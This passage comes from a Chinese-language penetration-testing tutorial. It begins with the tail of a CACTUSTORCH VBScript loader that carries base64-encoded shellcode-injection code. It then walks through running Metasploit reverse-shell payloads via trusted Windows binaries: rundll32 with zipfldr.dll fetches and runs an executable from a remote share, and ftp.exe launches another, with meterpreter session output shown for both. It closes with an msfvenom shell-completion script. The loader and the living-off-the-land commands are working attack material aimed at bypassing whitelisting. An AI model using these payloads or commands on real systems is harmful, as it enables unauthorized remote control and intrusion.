"ABcHPwAGADMEPwAGAEsD+gAGAJoD+gAGAOcF+gAGAO8F+gAGAEcI+gAGAFUI+gAGAOQE+gAGAC4I" s = s & "+gAGAOcICwEGAA0ACwEGABkAPwAGANIIPwAGANwIPwAGADQHPwAGBp4DAAFWgN4CDgFWgO8ADgFW" s = s & "gJ0BDgFWgNgCDgFWgNUBDgFWgA8BDgFWgJQBDgFWgAMBDgEGBp4DAAFWgOcAEgFWgFcAEgFWgNUA" s = s & "EgFWgFgDEgFWgGkCEgFWgE8DEgFWgN0AEgFWgGADEgFWgBEGEgFWgCQGEgFWgDkGEgEAAAAAgACW" s = s & "IC4AFgEBAAAAAACAAJYg8wgqAQsAAAAAAIAAliAJCTUBEAAAAAAAgACWIGMIPwEVAAAAAACAAJEg" s = s & "1ANFARcAUCAAAAAAhhg+BwYAHgBYIAAAAACGAE0EUAEeAGshAAAAAIYYPgcGACAAjCEAAAAAhhg+" s = s & "BwYAIAAAAAEAOwQAAAIAUwQAAAMA5AcAAAQA0QcAAAUAwQcAAAYACwgAAAcAvAgAAAgAHAkBAAkA" s = s & "BAcCAAoAzAYAAAEAGwQAAAIAiwgAAAMAAwYAAAQAawQAAAUAsggAAAEAdAgAAAIAfQgAAAMAIQcA" s = s & "AAQAAwYAAAUAtQYAAAEAdAgAAAIA+gMAAAEAdAgAAAIA0QcAAAMA9wUAAAQAlQgAAAUAKAcAAAYA" s = s & "CwgAAAcAsgMAAAEAAgkAAAIAAQAJAD4HAQARAD4HBgAZAD4HCgApAD4HEAAxAD4HEAA5AD4HEABB" s = s & "AD4HEABJAD4HEABRAD4HEABZAD4HEABhAD4HFQBpAD4HEABxAD4HEACJAD4HBgB5AD4HBgCZAFMG" s = s & "KQChAD4HAQCpAAQELwCxAHkGNACxAKQIOAChABIHPwChAGQGQgCxADsJRgCxAC8JRgC5AAoGTAAJ" s = s & "ACQAWgAJACgAXwAJACwAZAAJADAAaQAJADQAbgAJADgAcwAJADwAeAAJAEAAfQAJAEQAggAJAEgA" s = s & "hwAJAEwAjAAJAFAAkQAJAFQAlgAJAFgAmwAJAFwAoAAJAGAApQAJAGQAqgAJAGgArwAJAGwAtAAJ" s = s & "AHAAuQAJAHQAvgAJAHgAwwAJAHwAyAAJAIAAzQAJAIQA0gAJAIgA1wAJAIwA3AAJAJAA4QAJAJQA" s = s & "5gAJAJgA6wAJAKAAWgAJAKQAXwAJAPQAlgAJAPgAmwAJAPwA8AAJAAABuQAJAAQB4QAJAAgB9QAJ" s = s & "AAwBvgAJABABwwAJABgBbgAJABwBcwAJACABeAAJACQBfQAJACgBWgAJACwBXwAJADABZAAJADQB" s = s & "aQAJADgBggAJADwBhwAJAEABjAAuAAsAVgEuABMAXwEuABsAfgEuACMAhwEuACsAhwEuADMAmAEu" s = s & "ADsAmAEuAEMAhwEuAEsAhwEuAFMAmAEuAFsAngEuAGMApAEuAGsAzgFDAFsAngGjAHMAWgDDAHMA" s = s & "WgADAXMAWgAjAXMAWgAaAIwGAAEDAC4AAQAAAQUA8wgBAAABBwAJCQEAAAEJAGMIAQAAAQsA1AMB" s = s & "AASAAAABAAAAAAAAAAAAAAAAAPcAAAACAAAAAAAAAAAAAABRAKkDAAAAAAMAAgAEAAIABQACAAYA" s = s & "AgAHAAIACAACAAkAAgAAAAAAAHNoZWxsY29kZTMyAGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyADxN" s = s & "b2R1bGU+AENyZWF0ZVByb2Nlc3NBAENSRUFURV9CUkVBS0FXQVlfRlJPTV9KT0IARVhFQ1VURV9S" s = s & "RUFEAENSRUFURV9TVVNQRU5ERUQAUFJPQ0VTU19NT0RFX0JBQ0tHUk9VTkRfRU5EAERVUExJQ0FU" s = s & "RV9DTE9TRV9TT1VSQ0UAQ1JFQVRFX0RFRkFVTFRfRVJST1JfTU9ERQBDUkVBVEVfTkVXX0NPTlNP" s = s & "TEUARVhFQ1VURV9SRUFEV1JJVEUARVhFQ1VURQBSRVNFUlZFAENBQ1RVU1RPUkNIAFdSSVRFX1dB" s = s & "VENIAFBIWVNJQ0FMAFBST0ZJTEVfS0VSTkVMAENSRUFURV9QUkVTRVJWRV9DT0RFX0FVVEhaX0xF" s = s & "VkVMAENSRUFURV9TSEFSRURfV09XX1ZETQBDUkVBVEVfU0VQQVJBVEVfV09XX1ZETQBQUk9DRVNT" s = s & "X01PREVfQkFDS0dST1VORF9CRUdJTgBUT1BfRE9XTgBHTwBDUkVBVEVfTkVXX1BST0NFU1NfR1JP" s = s & "VVAAUFJPRklMRV9VU0VSAFBST0ZJTEVfU0VSVkVSAExBUkdFX1BBR0VTAENSRUFURV9GT1JDRURP" s = s & "UwBJRExFX1BSSU9SSVRZX0NMQVNTAFJFQUxUSU1FX1BSSU9SSVRZX0NMQVNTAEhJR0hfUFJJT1JJ" s = s & "VFlfQ0xBU1MAQUJPVkVfTk9STUFMX1BSSU9SSVRZX0NMQVNTAEJFTE9XX05PUk1BTF9QUklPUklU" s = s & "WV9DTEFTUwBOT0FDQ0VTUwBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MAREVUQUNIRURfUFJPQ0VTUwBD" s = s & "UkVBVEVfUFJPVEVDVEVEX1BST0NFU1MAREVCVUdfUFJPQ0VTUwBERUJVR19PTkxZX1RISVNfUFJP" s = s & "Q0VTUwBSRVNFVABDT01NSVQAQ1JFQVRFX0lHTk9SRV9TWVNURU1fREVGQVVMVABDUkVBVEVfVU5J" s = s & "Q09ERV9FTlZJUk9OTUVOVABFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVTRU5UAENSRUFURV9OT19X" s = s & "SU5ET1cAZHdYAFJFQURPTkxZAEVYRUNVVEVfV1JJVEVDT1BZAElOSEVSSVRfUEFSRU5UX0FGRklO" s = s & "SVRZAElOSEVSSVRfQ0FMTEVSX1BSSU9SSVRZAGR3WQB2YWx1ZV9fAGNiAG1zY29ybGliAGxwVGhy" s = s & "ZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NJZABDcmVhdGVSZW1vdGVUaHJlYWQAaFRocmVhZABs" s = s & "cFJlc2VydmVkAHVFeGl0Q29kZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxlAGxwSGFuZGxlAGJJbmhl" s = s & "cml0SGFuZGxlAGxwVGl0bGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUAbHBDb21tYW5kTGluZQBW" s = s & "YWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1" s = s & "dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJh" s = s & "ZGVtYXJrQXR0cmlidXRlAGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmli" s = s & "dXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0" s = s & "cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNz" s = s & "ZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5" s = s & "Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBkd1hTaXplAGR3" s = s & "WVNpemUAZHdTdGFja1NpemUAZHdTaXplAFNpemVPZgBHVUFSRF9Nb2RpZmllcmZsYWcATk9DQUNI" s = s & "RV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBGcm9tQmFzZTY0U3RyaW5n" s = s & "AFRvU3RyaW5nAGNhY3R1c1RvcmNoAGdldF9MZW5ndGgATWFyc2hhbABrZXJuZWwzMi5kbGwAQ0FD" s = s & "VFVTVE9SQ0guZGxsAFN5c3RlbQBFbnVtAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4AbHBQcm9jZXNz" s = s & "SW5mb3JtYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ATWVtb3J5UHJvdGVjdGlvbgBscFN0YXJ0dXBJ" s = s & "bmZvAFplcm8AbHBEZXNrdG9wAGJ1ZmZlcgBscFBhcmFtZXRlcgBoU3RkRXJyb3IALmN0b3IAbHBT" s = s & "ZWN1cml0eURlc2NyaXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGlt" s = s & "ZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dp" s = s & "bmdNb2RlcwBiSW5oZXJpdEhhbmRsZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGxwUHJvY2Vzc0F0dHJp" s = s & "YnV0ZXMAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25GbGFncwBDcmVhdGVQcm9jZXNzRmxh" s = s & "Z3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENvdW50Q2hhcnMAZHdZQ291bnRDaGFycwBU" s = s & "ZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRyZXNzAGxwU3RhcnRB" s = s & "ZGRyZXNzAENvbmNhdABPYmplY3QAZmxQcm90ZWN0AGxwRW52aXJvbm1lbnQAQ29udmVydABoU3Rk" s = s & "SW5wdXQAaFN0ZE91dHB1dAB3U2hvd1dpbmRvdwBWaXJ0dWFsQWxsb2NFeABiaW5hcnkAV3JpdGVQ" s = s & "cm9jZXNzTWVtb3J5AGxwQ3VycmVudERpcmVjdG9yeQBvcF9FcXVhbGl0eQBvcF9JbmVxdWFsaXR5" s = s & "AAAAAAABABlQAHIAbwBnAHIAYQBtAFcANgA0ADMAMgAADXcAaQBuAGQAaQByAAAVXABTAHkAcwBX" s = s & "AE8AVwA2ADQAXAAAFVwAUwB5AHMAdABlAG0AMwAyAFwAAAMwAAAARY+bzuLqxE+aSSAzLsphXgAE" s = s & "IAEBCAMgAAEFIAEBEREEIAEBDgQgAQECDgcJHQUYEhwREA4YGAgYBQABHQUOBAABDg4DIAAIBgAD" s = s & "Dg4ODgIGGAMgAA4FAAICDg4EAAEIHAi3elxWGTTgiQQBAAAABAIAAAAEBAAAAAQIAAAABBAAAAAE" s = s & "IAAAAARAAAAABIAAAAAEAAEAAAQAAgAABAAEAAAEAAgAAAQAEAAABAAgAAAEAEAAAAQAgAAABAAA" s = s & "AQAEAAACAAQAAAQABAAACAAEAAAQAAQAACAABAAAAAEEAAAAAgQAAAAEBAAAAAgEAAAAEAQAAAAg" s = s & "BAAAAEAEAAAAgAQAMAAABAAAQAACBggCBgICBgkDBhEUAwYRGAIGBgMGESADBhEkEwAKGA4OEgwS" s = s & "DAIRFBgOEhwQERAKAAUYGBgYESARJAkABQIYGB0FGAgFAAICGAkKAAcYGBgJGBgJGAUgAgEODggB" s = s & "AAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQACAAAAAAAQAQALQ0FDVFVT" s = s & "VE9SQ0gAAAUBAAAAAAUBAAEAACkBACQ1NjU5OGYxYy02ZDg4LTQ5OTQtYTM5Mi1hZjMzN2FiZTU3" s = s & "NzcAAAwBAAcxLjAuMC4wAAAASDUAAAAAAAAAAAAAYjUAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AFQ1AAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAA" s = s & "ADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAANAMAAAAAAAAAAAAANAM0AAAAVgBTAF8A" s = s & "VgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AAAAA" s = s & "AAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQA" s = s & "BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBJQCAAABAFMAdAByAGkAbgBnAEYAaQBs" s = s & "AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAA0AGIAMAAAADAADAABAEMAbwBtAG0AZQBuAHQA" s = s & "cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAA" s = s & "AAAAAAAAAEAADAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABDAEEAQwBUAFUA" s = s & "UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAu" s = s & "ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQAVQBTAFQATwBSAEMA" s = s & "SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBBAEMAVABV" s = s & "AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAA" s = s & "AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBBAEMAVABVAFMAVABP" s = s & "AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEMAQQBDAFQA" s = s & "VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAw" s = s & "AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAA" s = s & "LgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAADAAAAwAAAB0NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVmbGVjdGlv" s = s & "bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA" entry_class = "cactusTorch"
Dim fmt, al, d, o Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") Set al = CreateObject("System.Collections.ArrayList") al.Add fmt.SurrogateSelector
Set d = fmt.Deserialize_2(Base64ToStream(s)) Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class) o.flame binary,code End Sub
SetVersion On Error Resume Next Run If Err.Number <> 0 Then Debug Err.Description Err.Clear End If
self.close
11.19 基于白名单zipfldr.dll执行payload（十八）
zipfldr.dll简介：
zipfldr.dll自Windows xp开始自带的zip文件压缩/解压工具组件。
说明：zipfldr.dll所在路径已被系统添加PATH环境变量中，因此，zipfldr.dll命令可识别，但由于为dll文件，需调用rundll32.exe来执行。
Windows 2003 默认位置：
C:\Windows\System32\zipfldr.dll
C:\Windows\SysWOW64\zipfldr.dll
Windows 7 默认位置：
C:\Windows\System32\zipfldr.dll
C:\Windows\SysWOW64\zipfldr.dll
攻击机：
192.168.1.4 Debian
靶机：
192.168.1.3 Windows 7
192.168.1.3 Windows 2003
配置攻击机msf：
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
靶机执行：
rundll32.exe zipfldr.dll,RouteTheCall \\192.168.1.119\share\rev_x86_53_exe.exe
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.3
[*] Meterpreter session 7 opened (192.168.1.4:53 ‐> 192.168.1.3:5245) at
2019‐01‐21 04:55:44 ‐0500
meterpreter > getuid
Server username: John‐PC\John
meterpreter > getpid
Current pid: 6988
11.20 基于白名单Ftp.exe执行payload（十九）
Ftp.exe简介：
Ftp.exe是Windows本身自带的一个程序，属于微软FTP工具，提供基本的FTP访问。
说明：Ftp.exe所在路径已被系统添加PATH环境变量中，因此，Ftp.exe命令可识别。
Windows 2003 默认位置：
C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe
Windows 7 默认位置：
C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe
攻击机： 192.168.1.4 Debian
靶机： 192.168.1.3 Windows 7
配置攻击机msf：
注：需设置参数 set AutoRunScript migrate -f
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > set AutoRunScript migrate ‐f
AutoRunScript => migrate ‐f
msf exploit(multi/handler) > exploit
靶机执行：
echo !C:\Users\John\Desktop\rev_x86_53_exe.exe > o &echo quit >> o &ftp ‐n ‐s:o &del /F /Q o
msf exploit(multi/handler) > set AutoRunScript migrate ‐f
AutoRunScript => migrate ‐f
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.3
[*] Meterpreter session 10 opened (192.168.1.4:53 ‐> 192.168.1.3:5530)
at 2019‐01‐21 05:14:57 ‐0500
[*] Session ID 10 (192.168.1.4:53 ‐> 192.168.1.3:5530) processing AutoRunScript 'migrate ‐f'
[!] Meterpreter scripts are deprecated. Try post/windows/manage/migrate.
[!] Example: run post/windows/manage/migrate OPTION=value [...]
[*] Current server process: rev_x86_53_exe.exe (8832)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 8788
十二、工具优化分享
12.1 解决Msfvenom命令自动补全
需要zsh的支持：
root@John:~# cat /etc/shells
# /etc/shells: valid login shells
/bin/sh
/bin/dash
/bin/bash
/bin/rbash
/usr/bin/screen
/bin/zsh
/usr/bin/zsh
/usr/bin/tmux
root@John:~# echo $SHELL
/bin/bash
复制附录A到~/.oh-my-zsh/custom/plugins/msfvenom文件夹下（注：没有msfvenom目录，创建即可）
root@John:~/.oh‐my‐zsh/custom/plugins/msfvenom# pwd
/root/.oh‐my‐zsh/custom/plugins/msfvenom
root@John:~/.oh‐my‐zsh/custom/plugins/msfvenom# ls
_msfvenom
编辑~/.zshrc文件：
root@John:~# nano ~/.zshrc
root@John:~# nano ~/.zshrc
root@John:~# cat ~/.zshrc
plugins=(msfvenom)
更新：
root@John:~# source ~/.zshrc
效果如下：
附录A：
#compdef msfvenom
#autoload
#
# zsh completion for msfvenom in Metasploit Framework Project (https://www.metasploit.com)
#
# github: https://github.com/Green‐m/msfvenom‐zsh‐completion
#
# author: Green‐m ([email protected])
#
# license: GNU General Public License v3.0
#
# Copyright (c) 2018, Green‐m
# All rights reserved.
#
VENOM_CACHE_FILE=~/.zsh/venom‐cache
venom‐clear‐cache() {
rm $VENOM_CACHE_FILE
}
venom‐cache‐payloads() {
if [ ‐x "$(command ‐v msfvenom)" ]
then
VENOM="msfvenom"
elif [ ‐n "$_comp_command1" ]
then
VENOM=$_comp_command1
else
echo "Cound not find msfvenom path in system env, please run msfvenom with path."
fi
if [[ ! ‐d ${
VENOM_CACHE_FILE:h} ]]; then
mkdir ‐p ${
VENOM_CACHE_FILE:h}
fi
if [[ ! ‐f $VENOM_CACHE_FILE ]]; then
echo ‐n "(...caching Metasploit Payloads...)"
$VENOM ‐‐list payload|grep ‐e "^.*\/" | awk '{print $1}' >>
$VENOM_CA CHE_FILE
fi
}
_msfvenom() {
local curcontext="$curcontext" state line
typeset ‐A opt_args
_arguments ‐C \
'(‐h ‐‐help)'{
‐h,‐‐help}'[show help]' \
'(‐l ‐‐list)'{
‐l,‐‐list}'[List all modules for type. Types are: paylo
ads, encoders, nops, platforms, archs, encrypt, formats, all]' \
'(‐p ‐‐payload)'{‐p,‐‐payload}'[Payload to use (‐‐list payloads to list,
‐‐list‐options for arguments). Specify ‐ or STDIN for custom]' \
'(‐‐list‐options)‐‐list‐options[List ‐‐payload <value> standard, adva
nced and evasion options]' \
'(‐f ‐‐format)'{‐f,‐‐format}'[Output format (use ‐‐list formats to li
st)]' \
'(‐e ‐‐encoder)'{‐e,‐‐encoder}'[The encoder to use (use ‐‐list encoders
to list)]' \
'(‐‐smallest)‐‐smallest[Generate the smallest possible payload using all
available encoders]' \
'(‐‐encrypt)‐‐encrypt[The type of encryption or encoding to apply to the
shellcode (use ‐‐list encrypt to list)]' \
'(‐‐encrypt‐key)‐‐encrypt‐key[A key to be used for ‐‐encrypt]' \
'(‐‐encrypt‐iv)‐‐encrypt‐iv[An initialization vector for ‐‐encrypt]' \
'(‐a ‐‐arch)'{‐a,‐‐arch}'[the architecture to use for ‐‐payload and ‐
‐encoders (use ‐‐list archs to list)]' \
'(‐‐platform)‐‐platform[The platform for ‐‐payload (use ‐‐list platfo rms
to list)]' \
'(‐o ‐‐out)'{‐o,‐‐out}'[Save the payload to a file]' \
'(‐b ‐‐bad‐chars)'{‐b,‐‐bad‐chars}'[Characters to avoid example: "\x0
0\xff"]' \
'(‐n ‐‐nopsled)'{‐n,‐‐nopsled}'[Prepend a nopsled of \[length\] size on
to the payload]' \
'(‐‐encoder‐space)‐‐encoder‐space[The maximum size of the encoded pay
load (defaults to the ‐s value)]' \
'(‐i ‐‐iterations)'{‐i,‐‐iterations}'[The number of times to encode t he
payload]' \
'(‐c ‐‐add‐code)'{‐c,‐‐add‐code}'[Specify an additional win32 shellcode
file to include]' \
'(‐x ‐‐template)'{‐x,‐‐template}'[Specify a custom executable file to use
as a template]' \
'(‐k ‐‐keep)'{‐k,‐‐keep}'[Preserve the ‐‐template behaviour and inject
the payload as a new thread]' \
'(‐v ‐‐var‐name)'{‐v,‐‐var‐name}'[Specify a custom variable name to use
for certain output formats]' \
'(‐t ‐‐timeout)'{‐t,‐‐timeout}'[The number of seconds to wait when re
ading the payload from STDIN (default 30, 0 to disable)]' \
'*: :($(__msfvenom_options))' && ret=0
lastword=${
words[${
#words[@]}‐1]}
case "$lastword" in
(‐p|‐‐payload)
_values 'payload' $(__msfvenom_payloads)
;;
(‐l|‐‐list)
local lists=('payloads' 'encoders' 'nops' 'platforms' 'archs' 'encrypt'
'formats' 'all')
_values 'list' $lists
;;
(‐encrypt)
local encrypts=('aes256' 'base64' 'rc4' 'xor')
_values 'encrypt' $encrypts
;;
(‐a|‐‐arch)
_values 'arch' $(__msfvenom_archs)
;;
(‐platform)
_values 'platform' $(__msfvenom_platforms)
;;
(‐f|‐‐format)
_values 'format' $(__msfvenom_formats)
;;
(‐e|‐‐encoder)
_values 'encoder' $(__msfvenom_encoders)
;;
(‐o|‐‐out|‐x|‐‐template|‐c|‐‐add‐code)
_files
;;
(*)
;;
esac
}
__msfvenom_payloads(){
local msf_payloads
# we cache the list of packages (originally from the macports plugin)
venom‐cache‐payloads
msf_payloads=`cat $VENOM_CACHE_FILE`
for line in $msf_payloads; do
echo "$line"
done
}
__msfvenom_archs(){
local archs
archs=(
'aarch64'
'armbe'
'armle'
'cbea'
'cbea64'
'cmd'
'dalvik'
'firefox'
'java'
'mips'
'mips64'
'mips64le'
'mipsbe'
'mipsle'
'nodejs'
'php'
'ppc'
'ppc64'
'ppc64le'
'ppce500v2'
'python'
'r'
'ruby'
'sparc'
'sparc64'
'tty'
'x64'
'x86'
'x86_64'
'zarch'
)
for line in $archs; do
echo "$line"
done
}
__msfvenom_encoders(){
local encoders
encoders=(
'cmd/brace'
'cmd/echo'
'cmd/generic_sh'
'cmd/ifs'
'cmd/perl'
'cmd/powershell_base64'
'cmd/printf_php_mq'
'generic/eicar'
'generic/none'
'mipsbe/byte_xori'
'mipsbe/longxor'
'mipsle/byte_xori'
'mipsle/longxor'
'php/base64'
'ppc/longxor'
'ppc/longxor_tag'
'ruby/base64'
'sparc/longxor_tag'
'x64/xor'
'x64/xor_dynamic'
'x64/zutto_dekiru'
'x86/add_sub'
'x86/alpha_mixed'
'x86/alpha_upper'
'x86/avoid_underscore_tolower'
'x86/avoid_utf8_tolower'
'x86/bloxor'
'x86/bmp_polyglot'
'x86/call4_dword_xor'
'x86/context_cpuid'
'x86/context_stat'
'x86/context_time'
'x86/countdown'
'x86/fnstenv_mov'
'x86/jmp_call_additive'
'x86/nonalpha'
'x86/nonupper'
'x86/opt_sub'
'x86/service'
'x86/shikata_ga_nai'
'x86/single_static_bit'
'x86/unicode_mixed'
'x86/unicode_upper'
'x86/xor_dynamic'
)
for line in $encoders; do
echo "$line"
done
}
__msfvenom_platforms(){
local platforms
platforms=(
'aix'
'android'
'apple_ios'
'bsd'
'bsdi'
'cisco'
'firefox'
'freebsd'
'hardware'
'hpux'
'irix'
'java'
'javascript'
'juniper'
'linux'
'mainframe'
'multi'
'netbsd'
'netware'
'nodejs'
'openbsd'
'osx'
'php'
'python'
'r'
'ruby'
'solaris'
'unix'
'unknown'
'windows'
)
for line in $platforms; do
echo "$line"
done
}
__msfvenom_formats(){
local formats
formats=(
'asp'
'aspx'
'aspx‐exe'
'axis2'
'dll'
'elf'
'elf‐so'
'exe'
'exe‐only'
'exe‐service'
'exe‐small'
'hta‐psh'
'jar'
'jsp'
'loop‐vbs'
'macho'
'msi'
'msi‐nouac'
'osx‐app'
'psh'
'psh‐cmd'
'psh‐net'
'psh‐reflection'
'vba'
'vba‐exe'
'vba‐psh'
'vbs'
'war'
'bash'
'c'
'csharp'
'dw'
'dword'
'hex'
'java'
'js_be'
'js_le'
'num'
'perl'
'pl'
'powershell'
'ps1'
'py'
'python'
'raw'
'rb'
'ruby'
'sh'
'vbapplication'
'vbscript'
)
for line in $formats; do
echo "$line"
done
}
# For most common options, not accurately
__msfvenom_options(){
local options
options=(
LHOST= \
LPORT= \
EXITFUNC= \
RHOST= \
StageEncoder= \
AutoLoadStdapi= \
AutoRunScript= \
AutoSystemInfo= \
AutoVerifySession= \
AutoVerifySessionTimeout= \
EnableStageEncoding= \
EnableUnicodeEncoding= \
HandlerSSLCert= \
InitialAutoRunScript= \
PayloadBindPort= \
PayloadProcessCommandLine= \
PayloadUUIDName= \
PayloadUUIDRaw= \
PayloadUUIDSeed= \
